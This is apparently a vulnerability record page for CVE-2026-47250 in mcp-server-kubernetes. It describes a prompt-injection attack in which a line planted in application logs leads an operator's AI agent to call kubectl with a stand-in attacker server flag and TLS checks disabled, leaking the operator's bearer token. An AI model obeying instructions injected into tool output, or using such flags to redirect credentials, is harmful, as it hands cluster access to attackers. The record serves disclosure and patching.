# CVE-2026-47250: mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

- Severity: Medium 6.1 (CVSS:3.1, scored by GitHub_M) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Likelihood of exploitation in the next 30 days (EPSS): 0.42%, higher than 38% of CVEs (2026-12-01)
- Public exploit code or proof of concept: one link below, marked "exploit"
- Published: 2026-06-05T15:40:00.000Z
- Modified: 2026-10-26T11:10:00.157Z
- Also known as: GHSA-6mx4-4h42-r8vh
- Weaknesses: CWE-88
- SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial
- Assigned by: GitHub_M

## Description

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

(As written by CVE List.)

## Affected

- Flux159 mcp-server-kubernetes: < 3.7.0
- mcp-server-kubernetes (npm): before 3.7.0

## Every score

- GitHub_M: CVSS:3.1 6.1 Medium `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N`
- GitHub: CVSS:3.1 6.1 Medium `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N`

## References

- <https://github.com/Flux159/mcp-server-kubernetes/security/advisories/GHSA-6mx4-4h42-r8vh> (exploit, web)
- <https://github.com/Flux159/mcp-server-kubernetes/releases/tag/v3.7.0> (web)
- <https://nvd.nist.gov/vuln/detail/CVE-2026-47250> (advisory)
- <https://github.com/Flux159/mcp-server-kubernetes> (package)

## Sources

- CVE List: [CVE-2026-47250](https://www.cve.org/CVERecord?id=CVE-2026-47250), CVE Terms of Use, modified 2026-06-11
- GitHub Advisory Database: [GHSA-6mx4-4h42-r8vh](https://github.com/advisories/GHSA-6mx4-4h42-r8vh), CC-BY-4.0, modified 2026-06-12
- NVD: [CVE-2026-47250](https://nvd.nist.gov/vuln/detail/CVE-2026-47250), Public domain, modified 2026-10-26

---

Page: https://cve.day/CVE-2026-47250 · Whole record: https://cve.day/CVE-2026-47250.json · Rebuilt by cve.day 2026-11-25T22:59:24.459Z
